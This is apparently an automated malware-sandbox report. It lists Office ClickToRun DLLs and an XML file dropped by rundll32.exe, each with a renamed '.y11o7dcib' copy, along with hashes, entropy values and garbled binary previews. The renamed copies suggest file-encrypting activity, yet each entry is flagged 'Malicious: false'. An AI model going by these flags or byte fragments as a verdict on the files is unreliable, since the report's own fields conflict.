Preview:	.5W....yo.B..=......O.r]>.C.V.-.>b..Hs+..\|F.v...F..g05...ol.X..........!..L.!This program cannot be run in DOS mode....$........$..XE.EXE.EXE.E.7.DME.EXE.E-D.E.7.DKE.E.7.DrE.E.7.D.E.E.7.DYE.E.X..M.<.i.y+..$bC...7OW.+J.+h.>b..Hs+..\|F....'G.tg05...ol.X.......P... ............................................................`A................................................. ......H_.F..yk._.p.=.(s.....r.~.C...-WDu..Hs+..\|F.v...F..g05..\|lwX.. d..8............e..X............................text...\|A.......P.................. ..`.rdata...m...`...p...`..............@..@f...g..y.C. .&.(.....r.>.C.V.-.>b..Hs...'.......g0(..dol_...............@..@.mrdata.............................@....detourc !.......0..................@..@.detourd........................Ho.F..E.p. n=......o.r...C...-.>b..Hs+..\|F.v..4...05..ol_h......................@..@.reloc...G...@...P..................@..B................................................................Ho....yk.B. n=.(....O.r.>.C.V.-.>b..Hs+

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2010882
Entropy (8bit):	6.992418301281963
Encrypted:	false
SSDEEP:	49152:H1GpK+sX9HkyYLFE821+rLYMOyl/LZfa9peP4HRsVZwIOYvWQ5OBK9/dBG5MXBEe:H1iesq2fpl1
MD5:	CC088851179D7F4D136F7FE79A61B662
SHA1:	C2FE92BDE099B40A4AFF30CDA9F8BF50C50C9FC9
SHA-256:	5CEF6DF430D77E8087675634412284DC4575D67E620A411DB2AB834F03EFF25B
SHA-512:	587259DE3D49761A14A5B4847BCCB2670738658CC65D522E4875A96869EF1877D16998D6675C9F79DFA396C559C8D59EA9EFBD3698AFE1200809FDC4E39ED7AF
Malicious:	false
Preview:	.5W....yo.B..=......O.r]>.C.V.-.>b..Hs+..\|F.v...F..g05...ol.X..........!..L.!This program cannot be run in DOS mode....$........$..XE.EXE.EXE.E.7.DME.EXE.E-D.E.7.DKE.E.7.DrE.E.7.D.E.E.7.DYE.E.X..M.<.i.y+..$bC...7OW.+J.+h.>b..Hs+..\|F....'G.tg05...ol.X.......P... ............................................................`A................................................. ......H_.F..yk._.p.=.(s.....r.~.C...-WDu..Hs+..\|F.v...F..g05..\|lwX.. d..8............e..X............................text...\|A.......P.................. ..`.rdata...m...`...p...`..............@..@f...g..y.C. .&.(.....r.>.C.V.-.>b..Hs...'.......g0(..dol_...............@..@.mrdata.............................@....detourc !.......0..................@..@.detourd........................Ho.F..E.p. n=......o.r...C...-.>b..Hs+..\|F.v..4...05..ol_h......................@..@.reloc...G...@...P..................@..B................................................................Ho....yk.B. n=.(....O.r.>.C.V.-.>b..Hs+

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64_arm64x.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2118418
Entropy (8bit):	7.0028304069871385
Encrypted:	false
SSDEEP:	24576:xqzlck9/dxCuX7gwZCzZTpj59nORSd6UbJb7FDKVhF4XhVoUrgwyXnQm1:xXG+uXp0zZNKcJb7FD3oUcwyXn1
MD5:	5ED10733802BF18B7A07268C60E86D46
SHA1:	C29B4B921370D1BFC43E773CDDDFF26FDB54C659
SHA-256:	9773C5BB5A1C1895518C2718A4A38040EF76E4822BE09D9894C4C24258A968CB
SHA-512:	9048559F10D4EA73D0754F0279A4FF02D563D7A12B9DDAD6260F89383A3297A47CEAC6FE3AF83EF1A427CA95783DD35B7F3E2410CF7045B480269AB35CC23490
Malicious:	false
Preview:	t....L...{.....Md..ht.D..5.!......OA..Po[........!.\yvr..zXu9x........!..L.!This program cannot be run in DOS mode....$.......>..fz..5z..5z..5...4o..5z..5...5...4...5...4L..5...4u..5...4...5.Z....!.`.5..6xu..\.-...\xIdS!...OA..Po[........!..uv]....u9x......" ................`......................................... ....... ...`A................................................9....L.........M\|/.hx.D..1;!......oA..Po/C.......!.\yvr..z.u9x....(......8............................................hexpthkp........................... ..`.text...".... ..................9.)..L.....a.z.M...htWP..o.!....OA..Po[........}U.\yvr..z.e'x....................@....pdata.......@......................@..@.mrdata.............................@....detourc !.... .."......9.)..L...{.......h...6.5.!.....OA.OOo[........!.\y.\..N..Tx@....@ .....................@..@.c2r.........P ..........................rsrc...@....` .....................@..@.reloc..(L...p .9.)......{.....M...h4.D.5.!......OA..Po

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64_arm64x.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2118418
Entropy (8bit):	7.0028304069871385
Encrypted:	false
SSDEEP:	24576:xqzlck9/dxCuX7gwZCzZTpj59nORSd6UbJb7FDKVhF4XhVoUrgwyXnQm1:xXG+uXp0zZNKcJb7FD3oUcwyXn1
MD5:	5ED10733802BF18B7A07268C60E86D46
SHA1:	C29B4B921370D1BFC43E773CDDDFF26FDB54C659
SHA-256:	9773C5BB5A1C1895518C2718A4A38040EF76E4822BE09D9894C4C24258A968CB
SHA-512:	9048559F10D4EA73D0754F0279A4FF02D563D7A12B9DDAD6260F89383A3297A47CEAC6FE3AF83EF1A427CA95783DD35B7F3E2410CF7045B480269AB35CC23490
Malicious:	false
Preview:	t....L...{.....Md..ht.D..5.!......OA..Po[........!.\yvr..zXu9x........!..L.!This program cannot be run in DOS mode....$.......>..fz..5z..5z..5...4o..5z..5...5...4...5...4L..5...4u..5...4...5.Z....!.`.5..6xu..\.-...\xIdS!...OA..Po[........!..uv]....u9x......" ................`......................................... ....... ...`A................................................9....L.........M\|/.hx.D..1;!......oA..Po/C.......!.\yvr..z.u9x....(......8............................................hexpthkp........................... ..`.text...".... ..................9.)..L.....a.z.M...htWP..o.!....OA..Po[........}U.\yvr..z.e'x....................@....pdata.......@......................@..@.mrdata.............................@....detourc !.... .."......9.)..L...{.......h...6.5.!.....OA.OOo[........!.\y.\..N..Tx@....@ .....................@..@.c2r.........P ..........................rsrc...@....` .....................@..@.reloc..(L...p .9.)......{.....M...h4.D.5.!......OA..Po

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R32.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1899466
Entropy (8bit):	7.216272886537531
Encrypted:	false
SSDEEP:	49152:7QJtLIGWDStn1nbgA+sUWiFITtltBzQR6r1eE:7QJl5vVUhIAgd
MD5:	ED051F80EDC09069402F99C09399645D
SHA1:	99DD9C6BB83CA42F4A1045755429A0F5ED3ADC6C
SHA-256:	72CE449A56A0B9641F80004C6AC0CF2590592B32FE7177E8A780CEB1B221CECC
SHA-512:	795E7AD447B5629047A09C87D4B53CE0DA3EAAF1393365166623DCF2A611E3F7A66FD18CCA12BD584167EBCB3A29DA0B795008A475EBE5021F8C3BE6B7E78E1C
Malicious:	false
Preview:	..pD...Q,3m.p.K..(...h...-"[..<0S%.`.....\|\...?9.#....`.M/U..........!..L.!This program cannot be run in DOS mode....$.........l.;...;...;......."..........[...)...[... ....+o.<....+..9..._..2....nA..IJS.U.+ja.x......k."%.[.+.{..1.....2L...%....%..^...:...^...:...Rich;...........................PE..L...b..e...........!... .L...p......sm.........................................D...Q.6p..O...(...h...="[..<0S%.p...yX...P..,.#.G......MoP...............N......0'......8....................s.......+..@............`..D............................text...!J.......L.......B.D...Q(3m..OK.Z....h..Z*"[w.<0.".`.....\|\...?9.c.....r9~T..H...........................@....rsrc...p............~..............@..@.reloc..0'.......(..................@..B.................B.D...Q(3m..OK..(...h...-"[..<0S%.`.....\|\...?9.#....`.M.T...................................................................................................................................B.D...Q(3m..OK..(...h...-"[..<0S%.`...

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R32.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1899466
Entropy (8bit):	7.216272886537531
Encrypted:	false
SSDEEP:	49152:7QJtLIGWDStn1nbgA+sUWiFITtltBzQR6r1eE:7QJl5vVUhIAgd
MD5:	ED051F80EDC09069402F99C09399645D
SHA1:	99DD9C6BB83CA42F4A1045755429A0F5ED3ADC6C
SHA-256:	72CE449A56A0B9641F80004C6AC0CF2590592B32FE7177E8A780CEB1B221CECC
SHA-512:	795E7AD447B5629047A09C87D4B53CE0DA3EAAF1393365166623DCF2A611E3F7A66FD18CCA12BD584167EBCB3A29DA0B795008A475EBE5021F8C3BE6B7E78E1C
Malicious:	false
Preview:	..pD...Q,3m.p.K..(...h...-"[..<0S%.`.....\|\...?9.#....`.M/U..........!..L.!This program cannot be run in DOS mode....$.........l.;...;...;......."..........[...)...[... ....+o.<....+..9..._..2....nA..IJS.U.+ja.x......k."%.[.+.{..1.....2L...%....%..^...:...^...:...Rich;...........................PE..L...b..e...........!... .L...p......sm.........................................D...Q.6p..O...(...h...="[..<0S%.p...yX...P..,.#.G......MoP...............N......0'......8....................s.......+..@............`..D............................text...!J.......L.......B.D...Q(3m..OK.Z....h..Z*"[w.<0.".`.....\|\...?9.c.....r9~T..H...........................@....rsrc...p............~..............@..@.reloc..0'.......(..................@..B.................B.D...Q(3m..OK..(...h...-"[..<0S%.`.....\|\...?9.#....`.M.T...................................................................................................................................B.D...Q(3m..OK..(...h...-"[..<0S%.`...

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2376066
Entropy (8bit):	7.0832178001459365
Encrypted:	false
SSDEEP:	49152:2+QMT+ZsjCZ7mP/RYP1RnUYO/xfinHypsw87bZbr8vroU4G/iiIz65x4zY:FI70RYPDUYaiSSNxnSCo4zY
MD5:	AFDE9B28CF775D95F231D6CB473A47AB
SHA1:	800A5F80400700730D8B3FB5843DC7388729EE4C
SHA-256:	FFB82E688CF5AC7E849A0573F9D5B4E3A13570EB8EE0CEEF2270F95DE2E25E9B
SHA-512:	F237C0B30DACC71ECB5F4F14B58EEA4F47DDFAB830DC79A652463F097604D27246B7E8E3EF6B4609B15D34D715E628B9D65806C5F45E5633B59134AFEEE9E9F4
Malicious:	false
Preview:	....X.a.f....[..z.uw-.Z.rJ.G..&..b.. ..4.n\|......~Zf&.T...7.........!..L.!This program cannot be run in DOS mode....$........o..X.@.X.@.X.@.\|C.H.@.\|E...@.8tD.H.@.8tC.T.@...-.P.@...=.Y.@.....'.!G...by.@.....#..\|.&b..h...jg...,.w.7r...\|.,PT&.. VN..wd=t@.Y.@.=t..Y.@.=tB.Y.@.RichX.@.........................PE..d....".e.........." ... .v...........w.............................._...[.a.b...-s[.Y..ut-..ErZ.G..&..b.. ..$.n\|......~Zf&.T...7.T=.......Y..d.....#.p....P"..g....#.HN....#.`[..py..T.......................(.......@....................J......................w../.a.....-g[.W..uw).ZErJ.G..&..B..@?.Pc....c..~.p&.....!.............@..@.data.........!......^!.............@....pdata...g...P"..h..."".............@..@.didat........#.......#.........Y.....aR=.By6[..{.uw..ZEpJ.G...&..b.. ..4..\|...z..Zf&.P...p........#.............@..@.reloc..`[....#..\....#.............@..B................................................................Y...[.a.b...-w[.Wz.uw-.ZErJ.G..&..b..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2376066
Entropy (8bit):	7.0832178001459365
Encrypted:	false
SSDEEP:	49152:2+QMT+ZsjCZ7mP/RYP1RnUYO/xfinHypsw87bZbr8vroU4G/iiIz65x4zY:FI70RYPDUYaiSSNxnSCo4zY
MD5:	AFDE9B28CF775D95F231D6CB473A47AB
SHA1:	800A5F80400700730D8B3FB5843DC7388729EE4C
SHA-256:	FFB82E688CF5AC7E849A0573F9D5B4E3A13570EB8EE0CEEF2270F95DE2E25E9B
SHA-512:	F237C0B30DACC71ECB5F4F14B58EEA4F47DDFAB830DC79A652463F097604D27246B7E8E3EF6B4609B15D34D715E628B9D65806C5F45E5633B59134AFEEE9E9F4
Malicious:	false
Preview:	....X.a.f....[..z.uw-.Z.rJ.G..&..b.. ..4.n\|......~Zf&.T...7.........!..L.!This program cannot be run in DOS mode....$........o..X.@.X.@.X.@.\|C.H.@.\|E...@.8tD.H.@.8tC.T.@...-.P.@...=.Y.@.....'.!G...by.@.....#..\|.&b..h...jg...,.w.7r...\|.,PT&.. VN..wd=t@.Y.@.=t..Y.@.=tB.Y.@.RichX.@.........................PE..d....".e.........." ... .v...........w.............................._...[.a.b...-s[.Y..ut-..ErZ.G..&..b.. ..$.n\|......~Zf&.T...7.T=.......Y..d.....#.p....P"..g....#.HN....#.`[..py..T.......................(.......@....................J......................w../.a.....-g[.W..uw).ZErJ.G..&..B..@?.Pc....c..~.p&.....!.............@..@.data.........!......^!.............@....pdata...g...P"..h..."".............@..@.didat........#.......#.........Y.....aR=.By6[..{.uw..ZEpJ.G...&..b.. ..4..\|...z..Zf&.P...p........#.............@..@.reloc..`[....#..\....#.............@..B................................................................Y...[.a.b...-w[.Wz.uw-.ZErJ.G..&..b..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RHeartbeatConfig.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4418
Entropy (8bit):	7.114426758389632
Encrypted:	false
SSDEEP:	96:JPjenlrDCTwy4v2W42TOD81ooGitB1SHUebB+zbF5KHnKFf5S:JPiROTB4v2+TO41ooGizMHUbmHnKFf5S
MD5:	31B8D6CF9B28F969DB3D280E7A4F879C
SHA1:	B34AA440DE8E034F8A2533E394B37F29D3878E04
SHA-256:	81053D03B126332F242E62C724686CAB162F0D3E0999D775C15672EA53159F39
SHA-512:	CC6A92AD41AC1456F1807FC43F2AB991438B0E9B1D980508A5492E9F66C89BE7801C220FDC37CBD1192BE1742809F8282C77435F5D157B83EC19902735374D7D
Malicious:	false
Preview:	...J..k.....mqM.i;.........!.....u.....Lc^.IG. &....\1.....6.J..".U..m9M.iC........#.....$......L=^SI..g&...A1.... 6.J....A....msM.is.........f.....y......Lr^.IP.&&....O1....!6.J..z......mpM.if........3.....>......La^.IH.k&...k1....p6.J..t......muM.i=........e.....]....L ^MIg.(&...._1....}6.J..#.R..m6M.iy........3............L>^\|I).i&...A1....96.J..\|.....mnM.i;........#.....>.....L/^0IV.=&.....1....F6.J..3.C...mbM.i:.......6.......g.....Le^.IP. &...._1....l6.J..3._....mtM.i;........m......$......Ls^.IG.i&....A1....?6.J..v.C....mfM.ii..........j.....$......L ^>IE./&.....1....96.J..p......msM.i&.........f.....9......Ls^QI@.<&.....1....b6.J..W......muM.i9................k.....Lg^.IP.=&.....1...."6.J..u....m.M.ii.........d.....i....L ^QI..u&.....1....(6.J..G......m`M.i;........#.......k......Lr^.Ia.&&.....1....56.J..#.R..m7M.id........W............LE^TI..f&.....1.....6.J..}......m~M.iD........#......./.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RHeartbeatConfig.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4418
Entropy (8bit):	7.114426758389632
Encrypted:	false
SSDEEP:	96:JPjenlrDCTwy4v2W42TOD81ooGitB1SHUebB+zbF5KHnKFf5S:JPiROTB4v2+TO41ooGizMHUbmHnKFf5S
MD5:	31B8D6CF9B28F969DB3D280E7A4F879C
SHA1:	B34AA440DE8E034F8A2533E394B37F29D3878E04
SHA-256:	81053D03B126332F242E62C724686CAB162F0D3E0999D775C15672EA53159F39
SHA-512:	CC6A92AD41AC1456F1807FC43F2AB991438B0E9B1D980508A5492E9F66C89BE7801C220FDC37CBD1192BE1742809F8282C77435F5D157B83EC19902735374D7D
Malicious:	false
Preview:	...J..k.....mqM.i;.........!.....u.....Lc^.IG. &....\1.....6.J..".U..m9M.iC........#.....$......L=^SI..g&...A1.... 6.J....A....msM.is.........f.....y......Lr^.IP.&&....O1....!6.J..z......mpM.if........3.....>......La^.IH.k&...k1....p6.J..t......muM.i=........e.....]....L ^MIg.(&...._1....}6.J..#.R..m6M.iy........3............L>^\|I).i&...A1....96.J..\|.....mnM.i;........#.....>.....L/^0IV.=&.....1....F6.J..3.C...mbM.i:.......6.......g.....Le^.IP. &...._1....l6.J..3._....mtM.i;........m......$......Ls^.IG.i&....A1....?6.J..v.C....mfM.ii..........j.....$......L ^>IE./&.....1....96.J..p......msM.i&.........f.....9......Ls^QI@.<&.....1....b6.J..W......muM.i9................k.....Lg^.IP.=&.....1...."6.J..u....m.M.ii.........d.....i....L ^QI..u&.....1....(6.J..G......m`M.i;........#.......k......Lr^.Ia.&&.....1....56.J..#.R..m7M.id........W............LE^TI..f&.....1.....6.J..}......m~M.iD........#......./.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ar-sa.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52938
Entropy (8bit):	7.583207885022729
Encrypted:	false
SSDEEP:	768:tEW6t6JmdFylvsiDBm4POPvQIWMA7kcg7C2cWs+KwUwbi60KID44cr:tEQYdFyxsiFt2P527kcgupWs1wv0K1
MD5:	08B116A4A63C0C804FE02E65CA4910A1
SHA1:	FFA49BF3FA801F28C07BE82E7402501B91DF0C3D
SHA-256:	062DC5FDB7ED26DCB87C98478CBAC4EB960221CAEE3091F9220AF18390BADB54
SHA-512:	34AFA9E1D972DBA3C387BCEE6EAFF49A2D9BBBE9DA55AB298CDED4AA3DCBC59C0EBD0CB24FA428D7E9E44DB61FF534A819C1E5A94C13EA2234632DEA4A7A5904
Malicious:	false
Preview:	..\|j.U....Gx.v. Ty......fl.vn...d...5.S9.....k......-V.[n..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............j...~i..;.. .y..P..Mdb.vn....d...5.S9..>..k......-F..l..........................g6....`A........................................@...4............ ...y...............M..............8......j.U....Gx;.. .y.....Ffl.vn...d...5.S9.....k......-V..n...........rdata..............................@..@.rsrc....y... ...z..................@..@...........................................j.U....Gx;.. .y.....Ffl.vn...d...5.S9.....k......-V..n.....................................................................................................................................j.U....Gx;.. .y.....Ffl.vn...d...5.S9.....k......-V..n.....................................................................................................................................j.U....Gx;.. .y.....Ffl.vn...d...5.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ar-sa.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52938
Entropy (8bit):	7.583207885022729
Encrypted:	false
SSDEEP:	768:tEW6t6JmdFylvsiDBm4POPvQIWMA7kcg7C2cWs+KwUwbi60KID44cr:tEQYdFyxsiFt2P527kcgupWs1wv0K1
MD5:	08B116A4A63C0C804FE02E65CA4910A1
SHA1:	FFA49BF3FA801F28C07BE82E7402501B91DF0C3D
SHA-256:	062DC5FDB7ED26DCB87C98478CBAC4EB960221CAEE3091F9220AF18390BADB54
SHA-512:	34AFA9E1D972DBA3C387BCEE6EAFF49A2D9BBBE9DA55AB298CDED4AA3DCBC59C0EBD0CB24FA428D7E9E44DB61FF534A819C1E5A94C13EA2234632DEA4A7A5904
Malicious:	false
Preview:	..\|j.U....Gx.v. Ty......fl.vn...d...5.S9.....k......-V.[n..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............j...~i..;.. .y..P..Mdb.vn....d...5.S9..>..k......-F..l..........................g6....`A........................................@...4............ ...y...............M..............8......j.U....Gx;.. .y.....Ffl.vn...d...5.S9.....k......-V..n...........rdata..............................@..@.rsrc....y... ...z..................@..@...........................................j.U....Gx;.. .y.....Ffl.vn...d...5.S9.....k......-V..n.....................................................................................................................................j.U....Gx;.. .y.....Ffl.vn...d...5.S9.....k......-V..n.....................................................................................................................................j.U....Gx;.. .y.....Ffl.vn...d...5.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.bg-bg.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57146
Entropy (8bit):	7.6033870593438655
Encrypted:	false
SSDEEP:	768:tjMcEK6HIoGi6oyCu52yQExJcrOoRbJR+2Fx0+8zgon+VZF/S+pwmL+W9:tPRq+52yQjq2FGpGHSpmL+e
MD5:	86E17F907C35BCC066880ABCCF03B6E6
SHA1:	6FEEB8F198D515B4CCC3E2ABC62EA1265FD901C2
SHA-256:	83BED22908551A50ADDEBF2FFC1DEA11072E9E1AF711BC193649DD6F80FC10E7
SHA-512:	3982FD4EE5018F75A52694D37B1F7643AF9EA139F5E7DAC999667E2F925A23EBBF27312C6A773ECF3F763D6BC4273A72306A80D34F61C2653D980E03A8225B3F
Malicious:	false
Preview:	..,..Nrj.F%.=.jUr......\...0...&LkF...~..........y....!..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............q,jHLr.p.Ak..j.r.... &....0...&LkF...~.......F..y....................................`A........................................@...4............ ...................N..............8.....q,..Nrn.F%k..j.r..........0...&LkF...~..........y...............rdata..............................@..@.rsrc........ ......................@..@..........................................q,..Nrn.F%k..j.r..........0...&LkF...~..........y........................................................................................................................................q,..Nrn.F%k..j.r..........0...&LkF...~..........y........................................................................................................................................q,..Nrn.F%k..j.r..........0...&LkF.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.bg-bg.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57146
Entropy (8bit):	7.6033870593438655
Encrypted:	false
SSDEEP:	768:tjMcEK6HIoGi6oyCu52yQExJcrOoRbJR+2Fx0+8zgon+VZF/S+pwmL+W9:tPRq+52yQjq2FGpGHSpmL+e
MD5:	86E17F907C35BCC066880ABCCF03B6E6
SHA1:	6FEEB8F198D515B4CCC3E2ABC62EA1265FD901C2
SHA-256:	83BED22908551A50ADDEBF2FFC1DEA11072E9E1AF711BC193649DD6F80FC10E7
SHA-512:	3982FD4EE5018F75A52694D37B1F7643AF9EA139F5E7DAC999667E2F925A23EBBF27312C6A773ECF3F763D6BC4273A72306A80D34F61C2653D980E03A8225B3F
Malicious:	false
Preview:	..,..Nrj.F%.=.jUr......\...0...&LkF...~..........y....!..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............q,jHLr.p.Ak..j.r.... &....0...&LkF...~.......F..y....................................`A........................................@...4............ ...................N..............8.....q,..Nrn.F%k..j.r..........0...&LkF...~..........y...............rdata..............................@..@.rsrc........ ......................@..@..........................................q,..Nrn.F%k..j.r..........0...&LkF...~..........y........................................................................................................................................q,..Nrn.F%k..j.r..........0...&LkF...~..........y........................................................................................................................................q,..Nrn.F%k..j.r..........0...&LkF.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.cs-cz.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58066
Entropy (8bit):	7.449458591815583
Encrypted:	false
SSDEEP:	1536:wkZSKsDjNrJGZG1rCgbHmDasrXgG9siudzPda:tgKWjNt1OgbZsrwGfulI
MD5:	B345E7DC996A0B08FE31412AC5AB80F5
SHA1:	D0481FAFA5A4B39D24C166A088393B32D269D5F4
SHA-256:	59526DEF8E824996B350A5EAB9727BB248085580B64018F2C2904F5C2737297F
SHA-512:	1852AB5CF1B141E78A2FD2A3B2BEF8FA9441A71D6394AF6CE6E4DEF9F6FA2A98BDBDEECE6CE4267FC6C4C1648AB005E6DD0259756DC8140BAB513A5D87C9E10E
Malicious:	false
Preview:	...mb..>.g...s......f..,Rsr.B......:.r.C.`4..LU.J7.....L..d#.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............m.q.>...y/...f........q\|.B....9.:.r.C.`4..LU.J7s......L..f#...............................`A........................................@...4............ ..4................M..............8.....ma..>.g../...f...f..,.sr.B......:.r.C.`4..LU.J7.....L..d#..........rdata..............................@..@.rsrc...4.... ......................@..@..........................................ma..>.g../...f...f..,.sr.B......:.r.C.`4..LU.J7.....L..d#...................................................................................................................................ma..>.g../...f...f..,.sr.B......:.r.C.`4..LU.J7.....L..d#...................................................................................................................................ma..>.g../...f...f..,.sr.B......:.r.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.cs-cz.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58066
Entropy (8bit):	7.449458591815583
Encrypted:	false
SSDEEP:	1536:wkZSKsDjNrJGZG1rCgbHmDasrXgG9siudzPda:tgKWjNt1OgbZsrwGfulI
MD5:	B345E7DC996A0B08FE31412AC5AB80F5
SHA1:	D0481FAFA5A4B39D24C166A088393B32D269D5F4
SHA-256:	59526DEF8E824996B350A5EAB9727BB248085580B64018F2C2904F5C2737297F
SHA-512:	1852AB5CF1B141E78A2FD2A3B2BEF8FA9441A71D6394AF6CE6E4DEF9F6FA2A98BDBDEECE6CE4267FC6C4C1648AB005E6DD0259756DC8140BAB513A5D87C9E10E
Malicious:	false
Preview:	...mb..>.g...s......f..,Rsr.B......:.r.C.`4..LU.J7.....L..d#.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............m.q.>...y/...f........q\|.B....9.:.r.C.`4..LU.J7s......L..f#...............................`A........................................@...4............ ..4................M..............8.....ma..>.g../...f...f..,.sr.B......:.r.C.`4..LU.J7.....L..d#..........rdata..............................@..@.rsrc...4.... ......................@..@..........................................ma..>.g../...f...f..,.sr.B......:.r.C.`4..LU.J7.....L..d#...................................................................................................................................ma..>.g../...f...f..,.sr.B......:.r.C.`4..LU.J7.....L..d#...................................................................................................................................ma..>.g../...f...f..,.sr.B......:.r.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.da-dk.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	53458
Entropy (8bit):	7.637956963856892
Encrypted:	false
SSDEEP:	1536:uUjLZUIX2WY+qGJzse2YJ+kajtKgT1c+38LBmltzmFy0aLKV7x:uUjVUIX2Z+qGJzsNYUkajtK+58NomFJT
MD5:	87A5B4CE6377A9F692FE3A9C4ABC6DF8
SHA1:	4E7547D6150F4F8FEB8593D478BD4B7E644C809A
SHA-256:	21072CEB074735F645FE6B7E6B0B634BCA9AB3E4CEADFD138A0F8188D4B6FDBC
SHA-512:	A7D50FA4B5F51531F017CA65616CEDB227AFED1032F9BBDB5F1CDCE4A82B5FD81AF5E958FC7258FF0F5DD395601D8A1D9574722E5F8610BDC6D0EED75B57860A
Malicious:	false
Preview:	..v._...U...q"...=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................8...t...".V.=3e.[.3..lj...u..[..m..R.T.T.0...G....8...b.F..............................`A........................................@...4............ ...{...............M..............8....B..\...U....".V.=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F.........rdata..............................@..@.rsrc....{... ...\|..................@..@.........................................B..\...U....".V.=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F.................................................................................................................................B..\...U....".V.=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F.................................................................................................................................B..\...U....".V.=3..{.1.4lj......[..m

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.da-dk.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	53458
Entropy (8bit):	7.637956963856892
Encrypted:	false
SSDEEP:	1536:uUjLZUIX2WY+qGJzse2YJ+kajtKgT1c+38LBmltzmFy0aLKV7x:uUjVUIX2Z+qGJzsNYUkajtK+58NomFJT
MD5:	87A5B4CE6377A9F692FE3A9C4ABC6DF8
SHA1:	4E7547D6150F4F8FEB8593D478BD4B7E644C809A
SHA-256:	21072CEB074735F645FE6B7E6B0B634BCA9AB3E4CEADFD138A0F8188D4B6FDBC
SHA-512:	A7D50FA4B5F51531F017CA65616CEDB227AFED1032F9BBDB5F1CDCE4A82B5FD81AF5E958FC7258FF0F5DD395601D8A1D9574722E5F8610BDC6D0EED75B57860A
Malicious:	false
Preview:	..v._...U...q"...=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................8...t...".V.=3e.[.3..lj...u..[..m..R.T.T.0...G....8...b.F..............................`A........................................@...4............ ...{...............M..............8....B..\...U....".V.=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F.........rdata..............................@..@.rsrc....{... ...\|..................@..@.........................................B..\...U....".V.=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F.................................................................................................................................B..\...U....".V.=3..{.1.4lj......[..m..R.T.T.0...F....(...`.F.................................................................................................................................B..\...U....".V.=3..{.1.4lj......[..m

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.de-de.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60218
Entropy (8bit):	7.560241584031203
Encrypted:	false
SSDEEP:	768:C7vhEZOf4ll07GKS1d/lf5pR9RA4XgGCpHvexivvrFFWahjWyOdliuP2MRle:C7B4L07iv9BLtgG9xi7W+jWdfiueMRle
MD5:	EC06859FDF2F79E8971A9820CE666E20
SHA1:	547F67F2B0294E1E5F32A7B594B8CB6B53409B99
SHA-256:	7D77AB4DA4802B6D79A874ED06E0D094F75CA8EDB5479DCF31D3E53F7E9ADA8C
